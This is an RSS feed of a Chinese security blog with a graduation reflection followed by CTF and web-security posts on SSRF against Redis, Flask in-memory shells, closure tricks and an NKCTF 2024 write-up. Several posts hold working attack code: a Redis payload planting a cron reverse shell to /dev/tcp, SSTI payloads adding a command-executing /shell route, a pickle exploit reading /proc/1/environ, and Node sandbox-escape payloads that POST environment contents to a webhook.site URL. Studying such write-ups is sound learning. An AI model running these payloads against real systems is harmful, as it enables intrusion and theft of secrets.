<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>chleynx's blog</title><link>/</link><description>Recent content on chleynx's blog</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Fri, 15 May 2026 02:18:57 +0800</lastBuildDate><atom:link href="/index.xml" rel="self" type="application/rss+xml"/><item><title>blog</title><link>/posts/blog/</link><pubDate>Fri, 15 May 2026 02:18:57 +0800</pubDate><guid>/posts/blog/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;马上毕业了，在写致谢的时候发现好像想写的东西挺多的，但是不知道怎么写出来了，可能是因为很久没写东西了？也可能是AI用多了自己深度思考的时间少了？其实挺多时候都有想写点东西的欲望，总是因为一些原因没有写出来吧可能是太懒了。
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;从去年到现在，打了很多比赛，也真正意义上去公司实习了有挺多想写的。但是过年那会没有写总结，好像24年也没写。。。落下太多了，先随便挑挑补一些吧。&lt;/p&gt;
&lt;h2 id="ctf"&gt;💭CTF：&lt;/h2&gt;
&lt;h3 id="a"&gt;🧩A&lt;/h3&gt;
&lt;p&gt;在24年6月第一次以非校队的名义跟战队去了线下大型赛事“矩阵杯”，当时也是第一次去青岛挺激动的&lt;/p&gt;
&lt;p&gt;&lt;img src="./index.assets/image-20260515025159941.png" alt="image-20260515025159941"&gt;&lt;/p&gt;
&lt;p&gt;记得当时因为是第一次去，并且那会也怕打不好去之前虽然很激动但是更多的是忐忑，当然确实这次也打的一般哈哈哈。但是在赛后的party认识了很多大佬，也是不虚此行&lt;/p&gt;
&lt;p&gt;&lt;img src="./index.assets/f6843fe11bd6057d1211a83a4c64bd41_720.jpg" alt="f6843fe11bd6057d1211a83a4c64bd41_720"&gt;&lt;/p&gt;
&lt;p&gt;在中间陆陆续续也跟r3kapig打了很多国际赛，太菜了去不了线下，但是成长了许多。&lt;/p&gt;
&lt;h3 id="b"&gt;🧩B&lt;/h3&gt;
&lt;p&gt;然后在25年4月我们校队又去了福州玩了，记得当时是我们这届几个人第一次打的除了国赛和省内之外的其它有线下的比赛吧。其实也挺不容易的，我们学校校队总共就从杠哥开始然后招了3个人，但是这会有两个都没打了，然后是我们这届有4个人，我们四个就是固定队友了。后来我们这会又招了5个学弟，但是后面有3个都跑了哈哈哈。所以其实算上我们下一届总共就8个人各个方向也不全，学长也没打了。每次线上比赛都打的异常艰难。那会其实知道CTF一把梭，也知道很多队是用这个打的。但是可能因为我们比较头铁也可能是无所谓吧，我们都是纯手打。而且我们比赛信息异常闭塞，平时就打打省赛，国赛，长城杯这种，然后就是自己学习，参加各大新生赛了。&lt;/p&gt;
&lt;p&gt;回到这次比赛，其实算是我们第一次参加的其它的吧。&lt;/p&gt;
&lt;p&gt;&lt;img src="./index.assets/image-20260515030318075.png" alt="image-20260515030318075"&gt;&lt;/p&gt;
&lt;p&gt;这也是我第一次来福建，好吧，其实我去之前总共就没出过几次重庆。。。&lt;/p&gt;
&lt;h3 id="c"&gt;🧩C&lt;/h3&gt;
&lt;p&gt;这中间也打了很多其它的比赛，国际赛也没断过一直在打。&lt;/p&gt;
&lt;p&gt;然后就是10月跟NK参加了XCTF final了。这会我也算有比较多的经验了吧，其实这次我感觉个人发挥还好(bushi&lt;img src="./index.assets/image-20260515032106397.png" alt="image-20260515032106397"&gt;&lt;/p&gt;
&lt;p&gt;记得这会AI已经很强了，很多题都能直接用AI打了，记得好像25年defcon那会他们用ida-mcp逆向的时候说是能提速好几倍。反正就是25年AI慢慢的就很强了，到我打XCTF那会已经能做很多东西了，但是我感觉因为AI出来的缘故其实我个人感觉对个人影响其实挺大的。后面单独聊聊吧。&lt;/p&gt;
&lt;h3 id="d"&gt;🧩D&lt;/h3&gt;
&lt;p&gt;然后就是25年12月，第一次出国，这次比第一次去青岛更是慌了，不光怕打的不好，而且我的英语水平其实跟哑巴也没啥太大区别了，这次比赛我们是世界第二hhhh，crazyman和rec带飞。&lt;/p&gt;
&lt;p&gt;&lt;img src="./index.assets/image-20260515033540831.png" alt="image-20260515033540831"&gt;&lt;/p&gt;
&lt;p&gt;当时还在当地逛了一下，其实我感觉除了沙多点其实跟国内也差不多（bushi&lt;/p&gt;
&lt;p&gt;当时手机摄像头坏了。。。&lt;/p&gt;
&lt;p&gt;&lt;img src="./index.assets/9af26c84b5e32278a668a81a0f418b2d_720.jpg" alt="9af26c84b5e32278a668a81a0f418b2d_720"&gt;&lt;/p&gt;
&lt;h2 id="实习"&gt;🎐实习&lt;/h2&gt;
&lt;p&gt;之前其实我23-25年一直都有劳务合同平时空了会出去做一些渗透，也做过一些开发项目，然后25年到现在去了两个实习。&lt;/p&gt;
&lt;h3 id="a-1"&gt;🧩A&lt;/h3&gt;
&lt;p&gt;25年6月那会第一次找了个实习（我boss“认真”一顿乱投）在qax做渗透，这份工作遇到很好的大哥和一些朋友，大家平时一起搞技术，然后经常一起玩，感觉其实挺好的，也非常非常感谢他们照顾我，但是我12月左右就跑了（实习工资真有点太低了。。&lt;/p&gt;
&lt;p&gt;在这段实习当中大哥也带着我学了很多东西，很多有趣的vuln利用姿势等等等等，也见识了很多。&lt;/p&gt;
&lt;h3 id="b-1"&gt;🧩B&lt;/h3&gt;
&lt;p&gt;从qax走后去了cxht的安研，在这主要是挖洞和红队，这里也认识了挺好的朋友，大家平时一起搞技术挖漏洞，打红队，也挺有趣的，也挺照顾我。&lt;/p&gt;
&lt;h3 id="c-1"&gt;🧩C&lt;/h3&gt;
&lt;p&gt;怎么说呢，虽然大部分实习的工作之前都做过挺多了，但是与不同的人一起能够学到很多自己可能之前根本就没见过的东西。&lt;/p&gt;
&lt;h2 id="ai"&gt;🎧AI&lt;/h2&gt;
&lt;p&gt;其实从chatGPT出来那会，那会其实感觉确实很鸡肋，在我那会的认知里面，觉得这就是个落后的资料查询工具而已。后面也陆陆续续的出现了其它AI产品，感觉其实也挺一般的。&lt;/p&gt;
&lt;p&gt;但是没过多久AI发展确实有点快了，从聊天工具到Copilot深度嵌入开发工作流，然后再MCP和Agent。慢慢也Vibe Coding成为主流，到现在AI已经算是成为大部分人必不可少的东西了。&lt;/p&gt;
&lt;p&gt;对我来说，它确实很好用，不管是开发还是学习还是CTF题，它都能很好的赋能，甚至能够直接完成一些东西。比如现在的CTF比赛直接把题扔给AI，一个跑不出来多开几个Agent。。。&lt;/p&gt;
&lt;p&gt;但是自从AI很强之后，我感觉到我深度思考的时间减少了，还有就是代码审计，bug调试这些很多需要花时间去做的都很少了。虽然AI是一个帮助学习的好工具，但是现在我感觉我的学习能力和学习的意愿都在慢慢的减弱，虽然我有主动的去控制，让自己尽量的去学习，去深度思考，不要AI解决问题就不管了。我觉得是我最近真有点懒了，还是得尽量克制自己的惰性，不能让AI控制大脑了（bushi&lt;/p&gt;
&lt;h2 id="-最后"&gt;🫧 最后&lt;/h2&gt;
&lt;p&gt;写不动了，没有灵感了，后面的全是口水话了，下次少写点。&lt;/p&gt;</description></item><item><title>react2shell</title><link>/posts/react2shell/</link><pubDate>Mon, 09 Feb 2026 16:30:37 +0800</pubDate><guid>/posts/react2shell/</guid><description>&lt;h3 id="webcve-2025-55182-react2shell"&gt;Web（CVE-2025-55182-react2shell）&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;最近遇到一个CTF题再次看到了前端时间比较火的react2shell。&lt;/strong&gt;
&lt;strong&gt;这个题目大概的意思是在next@16.0.6，react@19.0.3-xx版本去绕一个特别疯狂的关键词检测waf，虽然之前这个洞刚出的时候我也去简单审了一下这个洞，但是只有个大概的了解，刚好遇到这个题，就又花时间去学习啦一下。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="1ssrrscserveractionsflight协议"&gt;1.SSR、RSC、ServerActions、Flight协议&lt;/h3&gt;
&lt;p&gt;在开始之前我们得先了解这个几个概念&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SSR&lt;/strong&gt; ：React原本是一个前端框架，但为了SEO优化和提升首次渲染速度，开发者使用SSR技术将首次渲染放在后端执行，并将渲染后的HTML代码返回给浏览器。但此后浏览器需要下载所有组件代码和依赖库，通过Hydration过程重新执行组件逻辑来绑定交互功能，这导致JavaScript bundle过大，可交互时间很长。（纯前端）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RSC&lt;/strong&gt; ：React 18引入了React Server Components（React 19中稳定）。与传统SSR不同，&lt;strong&gt;ServerComponents的代码永远不会下载到浏览器&lt;/strong&gt; ——它们只在服务器执行，输出结果发送给客户端，不需要Hydration，这样可以使用庞大的依赖库（如数据库驱动）而不影响前端性能。（加了点后端的东西放一起了）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ServerActions&lt;/strong&gt; ：React 19以后引入，Server Actions允许开发者直接在组件中调用服务器端函数来修改数据，无需创建API端点。React会自动处理客户端-服务器通信、数据序列化和页面更新，大幅简化了表单提交和数据修改的开发流程。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RSC/Flight&lt;/strong&gt; 是一种“在网络上传递 React 组件树信息”的协议，客户端用一个解码器把服务器返回的“帧”（frame）解析成可恢复的 React 结构，再进行局部更新和渲染。&lt;/p&gt;
&lt;p&gt;响应类型：RSC 载荷的响应头是 content-type: text/x-component（又称 Flight payload）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总的来说就是因为有了&lt;strong&gt;ServerActions&lt;/strong&gt;之后前后端再次揉在一起从而导致了这个漏洞&lt;/p&gt;</description></item><item><title>Self-XSS</title><link>/posts/self-xss/</link><pubDate>Mon, 19 Jan 2026 09:40:41 +0800</pubDate><guid>/posts/self-xss/</guid><description>&lt;h1 id="selfxss定义风险评估与进阶利用含-credentialless-iframe"&gt;Self‑XSS：定义、风险评估与进阶利用（含 Credentialless Iframe）&lt;/h1&gt;
&lt;h2 id="0-摘要"&gt;0. 摘要&lt;/h2&gt;
&lt;p&gt;Self‑XSS（自触发 XSS）经常被当成“自嗨洞”，因为默认只炸在攻击者自己的会话里。但只要加上合适的东西（CSRF/会话切换/同站落点/credentialless iframe），它也能变成可复现的攻击链。&lt;/p&gt;
&lt;p&gt;抓两条主线：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Self‑XSS 能不能打，核心看“执行点”能不能搬到受害者可控/可被影响的上下文里（能否完成链路闭环）。&lt;/li&gt;
&lt;li&gt;credentialless iframe 的坑点不在“不同源”，而在“存储隔离 + 同源 DOM 仍可能互访”的组合拳。&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>About</title><link>/about/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0800</pubDate><guid>/about/</guid><description>&lt;p&gt;chleynx&amp;rsquo;s blog&lt;/p&gt;</description></item><item><title>ssrf打redis</title><link>/posts/ssrf%E6%89%93redis/</link><pubDate>Thu, 09 Jan 2025 02:06:46 +0800</pubDate><guid>/posts/ssrf%E6%89%93redis/</guid><description>&lt;h1 id="ssrf打redis"&gt;SSRF打redis&lt;/h1&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;思路：常见方法使用gopher和dict，执行redis命令，然后通过redis命令达到目的。
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="前置知识"&gt;前置知识&lt;/h2&gt;
&lt;p&gt;RESP 协议&lt;/p&gt;
&lt;p&gt;RESP 协议是 redis 服务之间数据传输的通信协议，redis 客户端和 redis 服务端之间通信会采取 RESP 协议
因此我们后续构造 payload 时也需要转换成 RESP 协议的格式&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;*1
$8
flushall
*3
$3
set
$1
1
$64



*/1 * * * * bash -i &amp;gt;&amp;amp; /dev/tcp/xxxxxxx/xxx 0&amp;gt;&amp;amp;1







*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="1写shell"&gt;1.写shell&lt;/h2&gt;
&lt;p&gt;直接通过redis执行命令写文件。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; commands = [
 &amp;#34;flushall&amp;#34;, #清空redis
 f&amp;#39;set:webshell:&amp;#34;{shellcode}&amp;#34;&amp;#39;, #写入shell内容
 &amp;#39;set:dir:/scripts&amp;#39;, #写入目录
 &amp;#39;set:dbfilename:visit.script&amp;#39;, #设置镜像文件名
 &amp;#34;save&amp;#34; #保存写入
 ]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;一般为：&lt;code&gt;dict://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;/info&lt;/code&gt; 探测端口应用信息
执行命令：&lt;code&gt;dict://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;/命令:参数&lt;/code&gt; 冒号相当于空格&lt;/p&gt;</description></item><item><title>flask下的内存马</title><link>/posts/memory-horse-in-flask/</link><pubDate>Sat, 20 Jul 2024 09:22:51 +0800</pubDate><guid>/posts/memory-horse-in-flask/</guid><description>&lt;h1 id="flask下python内存马"&gt;FLASK下python内存马&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/bfengj/CTF/blob/main/Web/python/%5BPython%5DFlask%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0.md"&gt;Python]Flask内存马学习.md at main · bfengj/CTF (github.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/flask%E4%B8%8D%E5%87%BA%E7%BD%91%E5%9B%9E%E6%98%BE%E6%96%B9%E5%BC%8F/"&gt;flask不出网回显方式 - Longlone&amp;rsquo;s Blog&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="初始"&gt;初始&lt;/h2&gt;
&lt;p&gt;在一个月黑风高的夜晚，看见一个从未见过的函数add_url_rule，然后经过亿系列的查询发现是flask的内存马常用的东西&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;add_url_rule()
可以添加一个自定义路由，并且可以自定义匿名函数，访问这个路由就可以调用这个匿名函数
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里有payload&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sys.modules[&amp;#39;__main__&amp;#39;].__dict__[&amp;#39;app&amp;#39;].add_url_rule(&amp;#39;/shell&amp;#39;,&amp;#39;shell&amp;#39;,lambda :__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;dir&amp;#39;).read())


ssti:
{{url_for.__globals__[&amp;#39;__builtins__&amp;#39;][&amp;#39;eval&amp;#39;](\&amp;#34;app.add_url_rule(&amp;#39;/shell&amp;#39;, &amp;#39;myshell&amp;#39;, lambda :__import__(&amp;#39;os&amp;#39;).popen(_request_ctx_stack.top.request.args.get(&amp;#39;cmd&amp;#39;)).read())\&amp;#34;,{&amp;#39;_request_ctx_stack&amp;#39;:url_for.__globals__[&amp;#39;_request_ctx_stack&amp;#39;],&amp;#39;app&amp;#39;:url_for.__globals__[&amp;#39;current_app&amp;#39;]})}}&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;但是！这是老版本的，关闭debug模式会调用到check函数，然后会导致报错&lt;/p&gt;
&lt;p&gt;然而在新版本当中，很多地方都存在check函数，so，G&lt;/p&gt;
&lt;p&gt;然后看见有师傅提供了方法&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;通过@app.before_request @app.after_request来打
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>AES-CBC反转攻击</title><link>/posts/aes-cbc%E5%8F%8D%E8%BD%AC/</link><pubDate>Tue, 25 Jun 2024 00:22:51 +0800</pubDate><guid>/posts/aes-cbc%E5%8F%8D%E8%BD%AC/</guid><description>&lt;h1 id="aes-cbc反转攻击"&gt;AES-CBC反转攻击&lt;/h1&gt;
&lt;p&gt;在一些特定情况下才能使用&lt;/p&gt;</description></item><item><title>闭包提权(Closure-Privilege-Escalation)</title><link>/posts/closure-privilege-escalation/</link><pubDate>Wed, 12 Jun 2024 00:22:51 +0800</pubDate><guid>/posts/closure-privilege-escalation/</guid><description>&lt;h2 id="闭包提权"&gt;闭包提权：&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;var o = (function() {
 var obj = {
 a: 1,
 flag: &amp;#34;flag{test}&amp;#34;,
 };
 return {
 get: function(k) {
 return obj[k];
 },
 add: function() {
 n++;
 }
 };
}
)();

console.log(o.get(&amp;#34;flag&amp;#34;)) // flag{test}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;首先，这里通过闭包实现了将obj这个对象让外面不可更改。实现只读的效果。&lt;/p&gt;
&lt;p&gt;作用：比如在有些环境下，如第三方库当中，需要保持稳定性，防止一个库被另一个库修改。&lt;/p&gt;
&lt;p&gt;利用：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;
console.log(o.get(&amp;#34;valueOf&amp;#34;)) //[Function: valueOf]

console.log(o.get(&amp;#34;valueOf&amp;#34;)()) // TypeError: Cannot convert undefined or null to objec
// 由于valueOf是Object.prototype的方法，所以在调用时，this指向的是Object.prototype，而Object.prototype并没有flag属性，所以会报错


//定义一个原型，让obj[k]能拿到这个原型，然后返回this指向obj
Object.defineProperty(Object.prototype, &amp;#34;hacker&amp;#34;, {
 get: function() {
 return this;
 }
});
console.log(o.get(&amp;#34;flag&amp;#34;)) // flag{test}

console.log(o.get(&amp;#34;hacker&amp;#34;)) // { a: 1, flag: &amp;#39;flag{test}&amp;#39; }
let obj1 = o.get(&amp;#34;hacker&amp;#34;);
obj1.flag = 2;

console.log(o.get(&amp;#34;flag&amp;#34;)) // 2

if (o.get(&amp;#34;flag&amp;#34;) !== &amp;#34;flag{test}&amp;#34;) {
 console.log(&amp;#34;flag is correct!&amp;#34;);
}
// flag is correct!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;利用成功&lt;/p&gt;</description></item><item><title>SSRF</title><link>/posts/ssrf/</link><pubDate>Sat, 01 Jun 2024 18:38:57 +0800</pubDate><guid>/posts/ssrf/</guid><description>&lt;h2 id="ssrf简介"&gt;SSRF简介&lt;/h2&gt;
&lt;p&gt;SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求，由服务端发起请求的安全漏洞。一般情况下，SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统)。&lt;/p&gt;
&lt;p&gt;也就是（如果A是外网主机，B是不能访问外网的主机，C是能够访问A和B的主机&amp;mdash;&amp;mdash;-&amp;gt;SSRF也就是A通过C访问B）&lt;/p&gt;
&lt;h2 id="ssrf漏洞原理"&gt;SSRF漏洞原理&lt;/h2&gt;
&lt;p&gt;SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如，黑客操作服务端从指定URL地址获取网页文本内容，加载指定地址的图片等，利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。&lt;/p&gt;
&lt;p&gt;攻击方式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;攻击运行在内网或本地的应用程序。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对内网Web应用进行指纹识别，识别企业内部的资产信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;攻击内外网的Web应用，主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。&lt;/p&gt;
&lt;p&gt;利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等，也可以发送 GET、POST 请求，这可以拓宽 SSRF 的攻击面。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;利用file协议读取本地文件等。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="常用函数"&gt;常用函数&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="漏洞点"&gt;漏洞点&lt;/h2&gt;
&lt;h3 id="常见ssrf漏洞验证方式"&gt;常见SSRF漏洞验证方式&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;排除法：浏览器f12查看源代码看是否是在本地进行了请求
比如：该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞

dnslog等工具进行测试，看是否被访问(可以在盲打后台，用例中将当前准备请求的url和参数编码成base64，这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)

抓包分析发送的请求是不是通过服务器发送的，如果不是客户端发出的请求，则有可能是存在漏洞。接着找存在HTTP服务的内网地址

从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
通过二级域名暴力猜解工具模糊猜测内网地址
通过file协议读取内网信息获取相关地址

直接返回的Banner、title、content等信息

留意布尔型SSRF，通过判断两次不同请求结果的差异来判断是否存在SSRF，类似布尔型sql盲注方法。
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="ssrf漏洞点挖掘"&gt;SSRF漏洞点挖掘&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. 社交分享功能：获取超链接的标题等内容进行显示

2. 转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3. 在线翻译：给网址翻译对应网页的内容

4. 图片加载/下载：例如富文本编辑器中的点击下载图片到本地；通过URL地址加载或下载图片

5. 图片/文章收藏功能：主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6. 云服务厂商：它会远程执行一些命令来判断网站是否存活等，所以如果可以捕获相应的信息，就可以进行ssrf测试

7. 网站采集，网站抓取的地方：一些网站会针对你输入的url进行一些信息采集工作

8. 数据库内置功能：数据库的比如mongodb的copyDatabase函数

9. 邮件系统：比如接收邮件服务器地址

10. 编码处理, 属性信息处理，文件处理：比如ffpmg，ImageMagick，docx，pdf，xml处理器等

11. 未公开的api实现以及其他扩展调用URL的功能：可以利用google 语法加上这些关键字去寻找SSRF漏洞

12.从远程服务器请求资源（upload from url 如discuz！；import &amp;amp; expost rss feed 如web blog；使用了xml引擎对象的地方 如wordpress xmlrpc.php）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;url关键字&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://www.cnblogs.com/miruier/p/13907150.html"&gt;看看这里吧！！！SSRF漏洞&lt;/a&gt;&lt;/p&gt;
&lt;h4 id="题目easycms"&gt;题目easycms：&lt;/h4&gt;
&lt;p&gt;搜索到迅睿cms 曾经存在ssrf，审计代码发现qrcode路由存在ssrf构造如下&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://eci-2ze3cmcfbu4h73d67lga.cloudeci1.ichunqiu.com/index.php
?s=api
&amp;amp;c=api
&amp;amp;m=qrcode
&amp;amp;thumb=http://test.ai.darwinchow.com
&amp;amp;text=sfaf
&amp;amp;size=11
&amp;amp;level=1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;发现存在ssrf,但是直接访问127.0.0.1是被过滤的 尝试302去绕过&lt;/p&gt;
&lt;p&gt;302配置如下&lt;/p&gt;</description></item><item><title>NKCTF-2024wp</title><link>/posts/nkctf/</link><pubDate>Mon, 25 Mar 2024 00:48:41 +0800</pubDate><guid>/posts/nkctf/</guid><description>&lt;h2&gt;&lt;/h2&gt;
&lt;h2 id="attack_"&gt;&lt;strong&gt;attack_tacooooo&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;账号tacooooo@qq.com&lt;/p&gt;
&lt;p&gt;密码tacooooo&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;import pickle

class Exploit(object):

 def __reduce__(self):
 code = &amp;#34;&amp;#34;&amp;#34;
import os

def find_flag_and_write(source_directory, destination_path, destination_file_name):

 with open(&amp;#34;/proc/1/environ&amp;#34;, &amp;#39;r&amp;#39;) as flag_file:
 flag_content = flag_file.read()

 destination_file_path = os.path.join(destination_path, destination_file_name)
 with open(destination_file_path, &amp;#39;a&amp;#39;) as destination_file:
 destination_file.write(flag_content)


find_flag_and_write(&amp;#39;/&amp;#39;, &amp;#39;../var/lib/pgadmin/storage/tacooooo_qq.com/&amp;#39;, &amp;#39;flag.txt&amp;#39;)

&amp;#34;&amp;#34;&amp;#34;
 # 使用纯 Python 代码来写入文件
 return (exec, (code,))



# 序列化 exploit 对象
with open(&amp;#39;posix.pickle&amp;#39;, &amp;#39;wb&amp;#39;) as f:
 pickle.dump(Exploit(), f)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="全世界最简单的ctf"&gt;&lt;strong&gt;全世界最简单的CTF&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;source&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;const express = require(&amp;#39;express&amp;#39;);
const bodyParser = require(&amp;#39;body-parser&amp;#39;);
const app = express();
const fs = require(&amp;#34;fs&amp;#34;);
const path = require(&amp;#39;path&amp;#39;);
const vm = require(&amp;#34;vm&amp;#34;);
app.use(bodyParser.json())
	.set(&amp;#39;views&amp;#39;, path.join(__dirname, &amp;#39;views&amp;#39;))
	.use(express.static(path.join(__dirname, &amp;#39;/public&amp;#39;))) app.get(&amp;#39;/&amp;#39;, function(req, res) {
		res.sendFile(__dirname + &amp;#39;/public/home.html&amp;#39;);
	})
function waf(code) {
	let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
	if (code.match(pattern)) {
		throw new Error(&amp;#34;what can I say? hacker out!!&amp;#34;);
	}
}
app.post(&amp;#39;/&amp;#39;, function(req, res) {
	let code = req.body.code;
	let sandbox = Object.create(null);
	let context = vm.createContext(sandbox);
	try {
		waf(code) let result = vm.runInContext(code, context);
		console.log(result);
	} catch (e) {
		console.log(e.message);
		require(&amp;#39;./hack&amp;#39;);
	}
}) app.get(&amp;#39;/secret&amp;#39;, function(req, res) {
	if (process.__filename == null) {
		let content = fs.readFileSync(__filename, &amp;#34;utf-8&amp;#34;);
		return res.send(content);
	} else {
		let content = fs.readFileSync(process.__filename, &amp;#34;utf-8&amp;#34;);
		return res.send(content);
	}
}) app.listen(3000, () =&amp;gt; {
	console.log(&amp;#34;listen on 3000&amp;#34;);
})
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;payload:
1、
throw new Proxy({}, {
 get: function() {
 const cc = arguments.callee.caller;
 const g = (cc.constructor.constructor(`return ${`${&amp;#39;proces&amp;#39;}s`}`))();
 const h = g.mainModule.require(&amp;#39;fs&amp;#39;).readFileSync(&amp;#39;/proc/self/environ&amp;#39;);
 const p = (cc.constructor.constructor(&amp;#39;return fetch&amp;#39;))();
 return p(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: `${h}`})});
 }
 })
 exec被ban然后执行不了命令，中括号我本地能过，但是环境上不行。fs模块读不到flag文件。
 
 2、
 过滤了中括号
 throw new Proxy({}, {
 get: function() {
 const cc = arguments.callee.caller;
 const gg = (cc.constructor.constructor(`return ${`${&amp;#39;proces&amp;#39;}s`}`))();
 const hh = gg.mainModule.require(`${&amp;#39;child_p&amp;#39;}rocess`);
 const ff = (cc.constructor.constructor(`s = 1+2`))();
 const p = (cc.constructor.constructor(&amp;#39;return fetch&amp;#39;))();
 return p(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: `${s}`})});
 }
})
两个思路：
再构造一个函数。-------------不知道为什么不行
可以写入js文件，使用fork执行然后fetch出来。--------------ok！

payload：
// 文件写入suceess
throw new Proxy({}, {
 get: function() {
 const cc = arguments.callee.caller;
 const gg = (cc.constructor.constructor(`return ${`${&amp;#39;proces&amp;#39;}s`}`))();
let content = `
 let cs = require(&amp;#39;${`${&amp;#39;child_p&amp;#39;}rocess&amp;#39;).exe`}cSync(&amp;#39;/readflag&amp;#39;).toString();
 ${`${&amp;#39;proces&amp;#39;}s`}.on(&amp;#34;message&amp;#34;,function(msg){
 fetch(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: cs})});
 })
 `;
 const fs = gg.mainModule.require(&amp;#39;fs&amp;#39;).appendFileSync(&amp;#34;./readflag1.js&amp;#34;,content);
 const p = (cc.constructor.constructor(&amp;#39;return fetch&amp;#39;))();
 return p(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: `${fs}`})});
 }
})

//通信成功
throw new Proxy({}, {
 get: function() {
 const cc = arguments.callee.caller;
 const g = (cc.constructor.constructor(`return ${`${&amp;#39;proces&amp;#39;}s`}`))();
 const h = g.mainModule.require(`${&amp;#39;child_p&amp;#39;}rocess`).fork(&amp;#39;./readflag1.js&amp;#39;);
